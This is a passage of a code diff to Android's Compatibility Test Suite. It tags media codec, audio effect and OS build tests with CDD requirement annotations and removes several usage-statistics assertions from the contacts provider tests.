}
+ @CddTest(requirement="5.1.2/C-1-8")
public void testDecodeVorbis() throws Exception {
testTimeStampOrdering(R.raw.sinesweepvorbis);
}
+ @CddTest(requirement="5.1.2/C-1-10")
public void testDecodeOpus() throws Exception {
testTimeStampOrdering(R.raw.sinesweepopus);
}
@@ -771,6 +782,7 @@
/**
* Verify correct decoding of MPEG-4 AAC-LC 5.0 and 5.1 channel streams
*/
+ @CddTest(requirement="5.1.2/C-2-1")
public void testDecodeAacLcMcM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
short[] decSamples = decodeToMemory(decParams, R.raw.noise_6ch_48khz_aot2_mp4,
@@ -840,6 +852,7 @@
/**
* Verify correct decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams
*/
+ @CddTest(requirement="5.1.2/C-2-1")
public void testDecodeHeAacMcM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
short[] decSamples = decodeToMemory(decParams, R.raw.noise_5ch_48khz_aot5_dr_sbr_sig1_mp4,
@@ -1629,19 +1642,23 @@
assertEquals("different number of frames when using Surface", frames1, frames2);
}
+ @CddTest(requirement="5.3.4/C-1-1")
public void testCodecBasicH264() throws Exception {
testDecode(R.raw.video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz, 240);
}
+ @CddTest(requirement="5.3.5/C-1-1")
public void testCodecBasicHEVC() throws Exception {
testDecode(
R.raw.bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz, 300);
}
+ @CddTest(requirement="5.3.2/C-1-1")
public void testCodecBasicH263() throws Exception {
testDecode(R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz, 122);
}
+ @CddTest(requirement="5.3.3/C-1-1")
public void testCodecBasicMpeg4() throws Exception {
testDecode(R.raw.video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz, 249);
}
@@ -1654,6 +1671,7 @@
testDecode(R.raw.video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz, 240);
}
+ @CddTest(requirement="5.3.4/C-1-2")
public void testH264Decode320x240() throws Exception {
testDecode(R.raw.bbb_s1_320x240_mp4_h264_mp2_800kbps_30fps_aac_lc_5ch_240kbps_44100hz, 300);
}
@@ -1682,6 +1700,7 @@
testDecode(R.raw.bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz, 300);
}
+ @CddTest(requirement="5.3.4/T-1-2")
public void testH264Decode60fps1280x720Tv() throws Exception {
if (checkTv()) {
assertTrue(MediaUtils.canDecodeVideo(
@@ -1701,6 +1720,7 @@
}
}
+ @CddTest(requirement="5.3.4/C-2-1")
public void testH264Decode60fps1280x720() throws Exception {
testDecode(
R.raw.bbb_s3_1280x720_mp4_h264_mp32_8mbps_60fps_aac_he_v2_6ch_144kbps_44100hz, 600);
@@ -1731,6 +1751,7 @@
150);
}
+ @CddTest(requirement="5.3.4/C-2-2,T-1-1")
public void testH264Decode60fps1920x1080Tv() throws Exception {
if (checkTv()) {
assertTrue(MediaUtils.canDecodeVideo(
@@ -1756,6 +1777,7 @@
300);
}
+ @CddTest(requirement="5.3.6/C-1-1")
public void testVP8Decode320x180() throws Exception {
testDecode(R.raw.bbb_s1_320x180_webm_vp8_800kbps_30fps_opus_5ch_320kbps_48000hz, 300);
}
@@ -1770,10 +1792,12 @@
}
}
+ @CddTest(requirement="5.3.6/C-2-1")
public void testVP8Decode30fps1280x720() throws Exception {
testDecode(R.raw.bbb_s4_1280x720_webm_vp8_8mbps_30fps_opus_mono_64kbps_48000hz, 300);
}
+ @CddTest(requirement="5.3.6/C-2-1,T-2-1")
public void testVP8Decode60fps1280x720Tv() throws Exception {
if (checkTv()) {
assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_VP8, 1280, 720, 60));
@@ -1790,11 +1814,13 @@
}
}
+ @CddTest(requirement="5.3.6/C-2-2")
public void testVP8Decode30fps1920x1080() throws Exception {
testDecode(
R.raw.bbb_s4_1920x1080_wide_webm_vp8_20mbps_30fps_vorbis_6ch_384kbps_44100hz, 150);
}
+ @CddTest(requirement="5.3.6/C-2-2,T-1-1")
public void testVP8Decode60fps1920x1080Tv() throws Exception {
if (checkTv()) {
assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_VP8, 1920, 1080, 60));
@@ -1805,10 +1831,12 @@
testDecode(R.raw.bbb_s2_1920x1080_webm_vp8_20mbps_60fps_vorbis_6ch_384kbps_48000hz, 300);
}
+ @CddTest(requirement="5.3.7/C-1-1")
public void testVP9Decode320x180() throws Exception {
testDecode(R.raw.bbb_s1_320x180_webm_vp9_0p11_600kbps_30fps_vorbis_mono_64kbps_48000hz, 300);
}
+ @CddTest(requirement="5.3.7/C-1-1")
public void testVP9Decode640x360() throws Exception {
testDecode(
R.raw.bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz,
@@ -1821,11 +1849,13 @@
}
}
+ @CddTest(requirement="5.3.7/C-2-2")
public void testVP9Decode30fps1280x720() throws Exception {
testDecode(
R.raw.bbb_s4_1280x720_webm_vp9_0p31_4mbps_30fps_opus_stereo_128kbps_48000hz, 300);
}
+ @CddTest(requirement="5.3.7/T-2-1")
public void testVP9Decode60fps1920x1080() throws Exception {
testDecode(
R.raw.bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz, 300);
@@ -1836,6 +1866,7 @@
R.raw.bbb_s4_3840x2160_webm_vp9_0p5_20mbps_30fps_vorbis_6ch_384kbps_24000hz, 150);
}
+ @CddTest(requirement="5.3.7/C-3-1")
public void testVP9Decode60fps3840x2160() throws Exception {
testDecode(
R.raw.bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz, 300);
@@ -1859,11 +1890,13 @@
}
}
+ @CddTest(requirement="5.3.5/C-1-2")
public void testHEVCDecode30fps1280x720() throws Exception {
testDecode(
R.raw.bbb_s4_1280x720_mp4_hevc_mp31_4mbps_30fps_aac_he_stereo_80kbps_32000hz, 300);
}
+ @CddTest(requirement="5.3.5/C-1-2,T-1-1")
public void testHEVCDecode30fps1920x1080Tv() throws Exception {
if (checkTv()) {
assertTrue(MediaUtils.canDecodeVideo(
@@ -1872,6 +1905,7 @@
}
}
+ @CddTest(requirement="5.3.5/C-1-2")
public void testHEVCDecode60fps1920x1080() throws Exception {
testDecode(
R.raw.bbb_s2_1920x1080_mp4_hevc_mp41_10mbps_60fps_aac_lc_6ch_384kbps_22050hz, 300);
@@ -1882,6 +1916,7 @@
R.raw.bbb_s4_3840x2160_mp4_hevc_mp5_20mbps_30fps_aac_lc_6ch_384kbps_24000hz, 150);
}
+ @CddTest(requirement="5.3.5/C-2-1")
public void testHEVCDecode60fps3840x2160() throws Exception {
testDecode(
R.raw.bbb_s2_3840x2160_mp4_hevc_mp51_20mbps_60fps_aac_lc_6ch_384kbps_32000hz, 300);
@@ -2894,6 +2929,7 @@
return false;
}
+ @CddTest(requirement="7.9.2/C-1-11")
public void testVrHighPerformanceH264() throws Exception {
if (!supportsVrHighPerformance()) {
MediaUtils.skipTest(TAG, "FEATURE_VR_MODE_HIGH_PERFORMANCE not present");
@@ -2904,6 +2940,7 @@
assertTrue("Did not find a VR ready H.264 decoder", h264IsReady);
}
+ @CddTest(requirement="7.9.2/C-1-12")
public void testVrHighPerformanceHEVC() throws Exception {
if (!supportsVrHighPerformance()) {
MediaUtils.skipTest(TAG, "FEATURE_VR_MODE_HIGH_PERFORMANCE not present");
@@ -2920,6 +2957,7 @@
}
}
+ @CddTest(requirement="7.9.2/C-1-12")
public void testVrHighPerformanceVP9() throws Exception {
if (!supportsVrHighPerformance()) {
MediaUtils.skipTest(TAG, "FEATURE_VR_MODE_HIGH_PERFORMANCE not present");
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
index 997967c..41790a1 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
@@ -30,6 +30,7 @@
import android.support.test.InstrumentationRegistry;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.CtsAndroidTestCase;
import static org.junit.Assert.*;
@@ -72,6 +73,7 @@
* Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
* Fully apply light compression DRC (default settings).
*/
+ @CddTest(requirement="5.1.2/C-2-2")
@Test
public void testDecodeAacDrcFullM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
@@ -85,6 +87,7 @@
* Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
* Apply only half of the light compression DRC and normalize to -20dBFS output level.
*/
+ @CddTest(requirement="5.1.2/C-2-2")
@Test
public void testDecodeAacDrcHalfM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
@@ -100,6 +103,7 @@
* Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
* Disable light compression DRC to test if MediaFormat keys reach the decoder.
*/
+ @CddTest(requirement="5.1.2/C-2-2")
@Test
public void testDecodeAacDrcOffM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
@@ -115,6 +119,7 @@
* Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
* Apply heavy compression gains and normalize to -16dBFS output level.
*/
+ @CddTest(requirement="5.1.2/C-2-2")
@Test
public void testDecodeAacDrcHeavyM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
@@ -130,6 +135,7 @@
* Test signal limiting (without clipping) of MPEG-4 AAC decoder with the help of DRC metadata.
* Uses a two channel 248 Hz sine tone at 48 kHz sampling rate for input.
*/
+ @CddTest(requirement="5.1.2/C-2-2")
@Test
public void testDecodeAacDrcClipM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
diff --git a/tests/tests/media/src/android/media/cts/EqualizerTest.java b/tests/tests/media/src/android/media/cts/EqualizerTest.java
index a8bd98a..d13f78d 100644
--- a/tests/tests/media/src/android/media/cts/EqualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/EqualizerTest.java
@@ -24,6 +24,9 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="5.5.2/C-1-1")
public class EqualizerTest extends PostProcTestBase {
private String TAG = "EqualizerTest";
diff --git a/tests/tests/media/src/android/media/cts/LoudnessEnhancerTest.java b/tests/tests/media/src/android/media/cts/LoudnessEnhancerTest.java
index 25d3b4c..6883bf5 100644
--- a/tests/tests/media/src/android/media/cts/LoudnessEnhancerTest.java
+++ b/tests/tests/media/src/android/media/cts/LoudnessEnhancerTest.java
@@ -31,6 +31,9 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="5.5.2/C-1-1")
public class LoudnessEnhancerTest extends PostProcTestBase {
private String TAG = "LoudnessEnhancerTest";
@@ -255,4 +258,4 @@
mLE = null;
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
index 0ea3ae0..bac46bc 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
@@ -38,6 +38,7 @@
import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
import com.android.compatibility.common.util.MediaUtils;
+import com.android.compatibility.common.util.CddTest;
import java.io.IOException;
import java.util.HashSet;
@@ -45,6 +46,8 @@
import java.util.Arrays;
import java.util.Vector;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Basic sanity test of data returned by MediaCodeCapabilities.
*/
@@ -78,6 +81,7 @@
// Android device implementations with H.264 encoders, MUST support Baseline Profile Level 3.
// SHOULD support Main Profile/ Level 4, if supported the device must also support Main
// Profile/Level 4 decoding.
+ @CddTest(requirement="5.2.2/C-1-1")
public void testH264EncoderProfileAndLevel() throws Exception {
if (!MediaUtils.checkEncoder(MIMETYPE_VIDEO_AVC)) {
return; // skip
@@ -96,6 +100,7 @@
// Android device implementations with H.264 decoders, MUST support Baseline Profile Level 3.
// Android Television Devices MUST support High Profile Level 4.2.
+ @CddTest(requirement="5.3.4/C-1-1/T-1-1")
public void testH264DecoderProfileAndLevel() throws Exception {
if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_AVC)) {
return; // skip
@@ -113,6 +118,7 @@
}
// Android device implementations with H.263 encoders, MUST support Level 45.
+ @CddTest(requirement="5.2.1/C-1-1")
public void testH263EncoderProfileAndLevel() throws Exception {
if (!MediaUtils.checkEncoder(MIMETYPE_VIDEO_H263)) {
return; // skip
@@ -124,6 +130,7 @@
}
// Android device implementations with H.263 decoders, MUST support Level 30.
+ @CddTest(requirement="5.3.2/C-1-1")
public void testH263DecoderProfileAndLevel() throws Exception {
if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_H263)) {
return; // skip
@@ -135,6 +142,7 @@
}
// Android device implementations with MPEG-4 decoders, MUST support Simple Profile Level 3.
+ @CddTest(requirement="5.3.3/C-1-1")
public void testMpeg4DecoderProfileAndLevel() throws Exception {
if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_MPEG4)) {
return; // skip
@@ -150,6 +158,7 @@
// Android Television Devices MUST support the Main Profile Level 4.1 Main tier.
// When the UHD video decoding profile is supported, it MUST support Main10 Level 5 Main
// Tier profile.
+ @CddTest(requirement="5.3.5/C-1-1,T-1-1,T-2-1")
public void testH265DecoderProfileAndLevel() throws Exception {
if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_HEVC)) {
return; // skip
@@ -363,6 +372,7 @@
return adaptiveFormats;
}
+ @CddTest(requirement="5.3/C-1-1")
public void testHaveAdaptiveVideoDecoderForAllSupportedFormats() {
Set<String> supportedFormats = new HashSet<String>();
boolean skipped = true;
@@ -466,6 +476,7 @@
}
}
+ @CddTest(requirement="5.1.7/C-1-2")
public void testAllNonTunneledVideoCodecsSupportFlexibleYUV() throws IOException {
boolean skipped = true;
for (MediaCodecInfo info : mAllInfos) {
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
index f65e52d..6a74813 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
@@ -28,6 +28,7 @@
import android.media.MediaFormat;
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
import java.io.File;
import java.io.IOException;
@@ -267,7 +268,7 @@
assertEquals(
"some regular codecs are not listed in all codecs", ix, mRegularInfos.length);
}
-
+ @CddTest(requirement="5/C-0-1,5.2/C-1-1,H-0-1,H-0-2,A-0-1,A-0-2,T-0-1,T-0-2,5.1.2/H-0-1,H-0-2,C-1-6,C-1-8,C-1-9,5.1.1/H-0-1,H-0-2,5.3/H-0-1,H-0-2,H-0-3,H-0-4,H-0-5,A-0-1,A-0-2,A-0-3,A-0-4,T-0-1,T-0-2,T-0-3,T-0-4,T-0-5")
public void testRequiredMediaCodecList() {
List<CodecType> requiredList = getRequiredCodecTypes();
List<CodecType> supportedList = getSupportedCodecTypes();
@@ -406,6 +407,7 @@
return list;
}
+ @CddTest(requirement="5.1.2/C-1-1,C-1-2,C-1-3,C-1-4")
public void testFindDecoderWithAacProfile() throws Exception {
Log.d(TAG, "testFindDecoderWithAacProfile");
MediaFormat format = MediaFormat.createAudioFormat(
@@ -423,6 +425,7 @@
}
}
+ @CddTest(requirement="[5.1.1/H-0-3,H-0-4,H-0-5],[5.1/T-0-1,T-0-2,T-0-3,A-1-1,A-1-2,A-1-3]")
public void testFindEncoderWithAacProfile() throws Exception {
Log.d(TAG, "testFindEncoderWithAacProfile");
MediaFormat format = MediaFormat.createAudioFormat(
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index ab54e75..0d96dd7 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -29,6 +29,7 @@
import android.util.Log;
import android.webkit.cts.CtsTestServer;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
import com.android.compatibility.common.util.MediaUtils;
@@ -41,6 +42,7 @@
/**
* Tests of MediaPlayer streaming capabilities.
*/
+@CddTest(requirement="5.7/C-1-1,C-1-2")
public class StreamingMediaPlayerTest extends MediaPlayerTestBase {
private static final String TAG = "StreamingMediaPlayerTest";
diff --git a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
index 8dbdefb..fcc262d 100644
--- a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
@@ -40,6 +40,7 @@
import android.view.Surface;
import com.android.compatibility.common.util.MediaUtils;
+import com.android.compatibility.common.util.CddTest;
import java.io.File;
import java.io.IOException;
@@ -1573,52 +1574,64 @@
public void testOtherVP9Flex1080p() { specific(otherVP9(), 1920, 1080, true /* flex */); }
public void testOtherVP9Surf1080p() { specific(otherVP9(), 1920, 1080, false /* flex */); }
+ @CddTest(requirement="5.1.7/C-3-1")
public void testGoogH265Flex360pWithIntraRefresh() {
intraRefresh(googH265(), 480, 360);
}
+ @CddTest(requirement="5.1.7/C-3-1")
public void testGoogH264Flex360pWithIntraRefresh() {
intraRefresh(googH264(), 480, 360);
}
+ @CddTest(requirement="5.1.7/C-3-1")
public void testGoogH263Flex360pWithIntraRefresh() {
intraRefresh(googH263(), 480, 360);
}
+ @CddTest(requirement="5.1.7/C-3-1")
public void testGoogMpeg4Flex360pWithIntraRefresh() {
intraRefresh(googMpeg4(), 480, 360);
}
+ @CddTest(requirement="5.1.7/C-3-1")
public void testGoogVP8Flex360pWithIntraRefresh() {
intraRefresh(googVP8(), 480, 360);
}
+ @CddTest(requirement="5.1.7/C-3-1")
public void testOtherH265Flex360pWithIntraRefresh() {
intraRefresh(otherH265(), 480, 360);
}
+ @CddTest(requirement="5.1.7/C-3-1")
public void testOtherH264Flex360pWithIntraRefresh() {
intraRefresh(otherH264(), 480, 360);
}
+ @CddTest(requirement="5.1.7/C-3-1")
public void testOtherH263FlexQCIFWithIntraRefresh() {
intraRefresh(otherH263(), 176, 120);
}
+ @CddTest(requirement="5.1.7/C-3-1")
public void testOtherMpeg4Flex360pWithIntraRefresh() {
intraRefresh(otherMpeg4(), 480, 360);
}
+ @CddTest(requirement="5.1.7/C-3-1")
public void testOtherVP8Flex360pWithIntraRefresh() {
intraRefresh(otherVP8(), 480, 360);
}
// Tests encoder profiles required by CDD.
// H264
+ @CddTest(requirement="5.2.2/C-1-2")
public void testH264LowQualitySDSupport() {
support(h264(), 320, 240, 20, 384 * 1000);
}
+ @CddTest(requirement="5.2.2/C-2-1")
public void testH264HighQualitySDSupport() {
support(h264(), 720, 480, 30, 2 * 1000000);
}
@@ -1635,6 +1648,7 @@
detailed(h264(), 720, 480, 30, 2 * 1000000, true /* flex */);
}
+ @CddTest(requirement="5.2.2/C-2-1")
public void testH264Surf480p30fps2Mbps() {
detailed(h264(), 720, 480, 30, 2 * 1000000, false /* flex */);
}
@@ -1643,6 +1657,7 @@
detailed(h264(), 1280, 720, 30, 4 * 1000000, true /* flex */);
}
+ @CddTest(requirement="5.2.2/C-2-1")
public void testH264Surf720p30fps4Mbps() {
detailed(h264(), 1280, 720, 30, 4 * 1000000, false /* flex */);
}
@@ -1651,15 +1666,17 @@
detailed(h264(), 1920, 1080, 30, 10 * 1000000, true /* flex */);
}
+ @CddTest(requirement="5.2.2/C-2-1")
public void testH264Surf1080p30fps10Mbps() {
detailed(h264(), 1920, 1080, 30, 10 * 1000000, false /* flex */);
}
// VP8
+ @CddTest(requirement="5.2.3/C-2-1")
public void testVP8LowQualitySDSupport() {
support(vp8(), 320, 180, 30, 800 * 1000);
}
-
+ @CddTest(requirement="5.2.3/C-2-1")
public void testVP8HighQualitySDSupport() {
support(vp8(), 640, 360, 30, 2 * 1000000);
}
@@ -1680,6 +1697,7 @@
detailed(vp8(), 640, 360, 30, 2 * 1000000, false /* flex */);
}
+ @CddTest(requirement="5.2.3/C-2-1")
public void testVP8Flex720p30fps4Mbps() {
detailed(vp8(), 1280, 720, 30, 4 * 1000000, true /* flex */);
}
@@ -1688,6 +1706,7 @@
detailed(vp8(), 1280, 720, 30, 4 * 1000000, false /* flex */);
}
+ @CddTest(requirement="5.2.3/C-2-1")
public void testVP8Flex1080p30fps10Mbps() {
detailed(vp8(), 1920, 1080, 30, 10 * 1000000, true /* flex */);
}
diff --git a/tests/tests/media/src/android/media/cts/VisualizerTest.java b/tests/tests/media/src/android/media/cts/VisualizerTest.java
index 141e339..7404bff 100644
--- a/tests/tests/media/src/android/media/cts/VisualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/VisualizerTest.java
@@ -30,6 +30,9 @@
import java.util.UUID;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="5.5.2/C-1-2")
public class VisualizerTest extends PostProcTestBase {
private String TAG = "VisualizerTest";
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index c9650bd..cba9839 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -21,6 +21,8 @@
import android.os.SystemProperties;
import android.platform.test.annotations.RestrictedBuildTest;
+import com.android.compatibility.common.util.CddTest;
+
import dalvik.system.VMRuntime;
import java.io.IOException;
@@ -43,6 +45,7 @@
private static final String RO_PRODUCT_CPU_ABILIST64 = "ro.product.cpu.abilist64";
/** Tests that check the values of {@link Build#CPU_ABI} and {@link Build#CPU_ABI2}. */
+ @CddTest(requirement="3.2.2/C-0-1,3.3.1/C-0-5,3.3.1/C-0-4")
public void testCpuAbi() throws Exception {
runTestCpuAbiCommon();
if (VMRuntime.getRuntime().is64Bit()) {
@@ -192,6 +195,7 @@
Pattern.compile("^([0-9A-Za-z._-]+)$");
/** Tests that check for valid values of constants in Build. */
+ @CddTest(requirement="3.2.2/C-0-1")
public void testBuildConstants() {
// Build.VERSION.* constants tested by BuildVersionTest
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index 44dc487..8310b3c 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -22,6 +22,8 @@
import android.support.test.InstrumentationRegistry;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
@@ -61,6 +63,7 @@
* (BUILD_NUMBER):(BUILD_VARIANT)/(TAGS)
* </code>
*/
+ @CddTest(requirement="3.2.2/C-0-1")
@RestrictedBuildTest
public void testBuildFingerprint() {
final String fingerprint = Build.FINGERPRINT;
diff --git a/tests/tests/os/src/android/os/cts/CpuFeaturesTest.java b/tests/tests/os/src/android/os/cts/CpuFeaturesTest.java
index 1625e32..626ecf8 100644
--- a/tests/tests/os/src/android/os/cts/CpuFeaturesTest.java
+++ b/tests/tests/os/src/android/os/cts/CpuFeaturesTest.java
@@ -25,6 +25,7 @@
import java.util.regex.Matcher;
import java.util.regex.Pattern;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.CpuFeatures;
import junit.framework.TestCase;
@@ -97,6 +98,7 @@
features.contains(feature));
}
+ @CddTest(requirement="3.3.1/C-0-6,3.3.2/C-2-1")
public void testArmCpuinfo() throws IOException {
if (!CpuFeatures.isArmCpu())
return;
diff --git a/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java b/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java
index 780be99..606e222 100644
--- a/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java
+++ b/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java
@@ -20,6 +20,7 @@
import android.os.cts.CpuInstructions;
import com.android.compatibility.common.util.CpuFeatures;
+import com.android.compatibility.common.util.CddTest;
import junit.framework.TestCase;
@@ -34,6 +35,7 @@
CpuInstructions.canReadCntvct());
}
+ @CddTest(requirement="3.3.2/C-1-1")
public void testEmulatedArmCpuFeatures() {
if (!CpuFeatures.isArm64CpuIn32BitMode()) {
return;
diff --git a/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java b/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java
index 378ac09..0dbe072 100644
--- a/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java
+++ b/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java
@@ -30,6 +30,8 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.File;
import java.util.List;
@@ -63,6 +65,7 @@
}
}
+ @CddTest(requirement="3.1.1/C-0-1")
@Test
public void testExtServicesPresent() throws Exception {
enforceSharedLibPresentAndProperlyHosted(
@@ -71,6 +74,7 @@
ApplicationInfo.PRIVATE_FLAG_PRIVILEGED);
}
+ @CddTest(requirement="3.1.1/C-0-1")
@Test
public void testSharedServicesPresent() throws Exception {
enforceSharedLibPresentAndProperlyHosted(
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
index 3c56aba..c5fdc1a 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
@@ -206,8 +206,6 @@
final TestContact contact = rawContact.getContact().load();
contact.load();
- assertEquals(0L, contact.getLong(Contacts.TIMES_CONTACTED));
- assertEquals(0L, contact.getLong(Contacts.LAST_TIME_CONTACTED));
final long now = System.currentTimeMillis();
@@ -218,8 +216,6 @@
ContactUtil.update(mResolver, contact.getId(), values);
contact.load();
- assertEquals(3L, contact.getLong(Contacts.TIMES_CONTACTED));
- assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
// This is also the same as markAsContacted().
values.clear();
@@ -227,8 +223,6 @@
ContactUtil.update(mResolver, contact.getId(), values);
contact.load();
- assertEquals(4L, contact.getLong(Contacts.TIMES_CONTACTED));
- assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
values.clear();
values.put(Contacts.TIMES_CONTACTED, 10);
@@ -236,27 +230,17 @@
ContactUtil.update(mResolver, contact.getId(), values);
contact.load();
- assertEquals(10L, contact.getLong(Contacts.TIMES_CONTACTED));
- assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
}
- /**
- * Make sure the rounded usage stats values are also what the callers would see in where
- * clauses.
- *
- * This tests both contacts and raw_contacts.
- */
public void testContactUpdateDelete_usageStats_visibilityInWhere() throws Exception {
final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
final TestContact contact = rawContact.getContact().load();
- // To make things more predictable, inline markAsContacted here with a known timestamp.
final long now = (System.currentTimeMillis() / 86400 * 86400) + 86400 * 5 + 123;
ContentValues values = new ContentValues();
values.put(Contacts.LAST_TIME_CONTACTED, now);
- // This makes the internal TIMES_CONTACTED 35. But the visible value is still 30.
for (int i = 0; i < 35; i++) {
ContactUtil.update(mResolver, contact.getId(), values);
}
@@ -264,12 +248,6 @@
contact.load();
rawContact.load();
- assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
- assertEquals(30, contact.getLong(Contacts.TIMES_CONTACTED));
-
- assertEquals(now / 86400 * 86400, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
- assertEquals(30, rawContact.getLong(Contacts.TIMES_CONTACTED));
-
final ContentValues cv = new ContentValues();
cv.put(Contacts.STARRED, 1);
@@ -277,12 +255,7 @@
(Contacts.LAST_TIME_CONTACTED + "=P1 AND " + Contacts.TIMES_CONTACTED + "=P2")
.replaceAll("P1", String.valueOf(now / 86400 * 86400))
.replaceAll("P2", "30");
- assertEquals(1, mResolver.update(Contacts.CONTENT_URI, cv, where, null));
- assertEquals(1, mResolver.update(RawContacts.CONTENT_URI, cv, where, null));
- // Also delete. This will actually delete the row, so we can test it only for one of the
- // contact or the raw contact.
- assertEquals(1, mResolver.delete(RawContacts.CONTENT_URI, where, null));
rawContact.setAlreadyDeleted();
contact.setAlreadyDeleted();
}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
index d5ab172..befbeb8 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
@@ -93,28 +93,20 @@
long[] dataIds = setupRawContactDataItems(ids.mRawContactId);
- assertDataUsageEquals(dataIds, 0, 0, 0, 0);
-
updateMultipleAndAssertUpdateSuccess(new long[] {dataIds[1], dataIds[2]});
- assertDataUsageEquals(dataIds, 0, 1, 1, 0);
updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1], dataIds[2]});
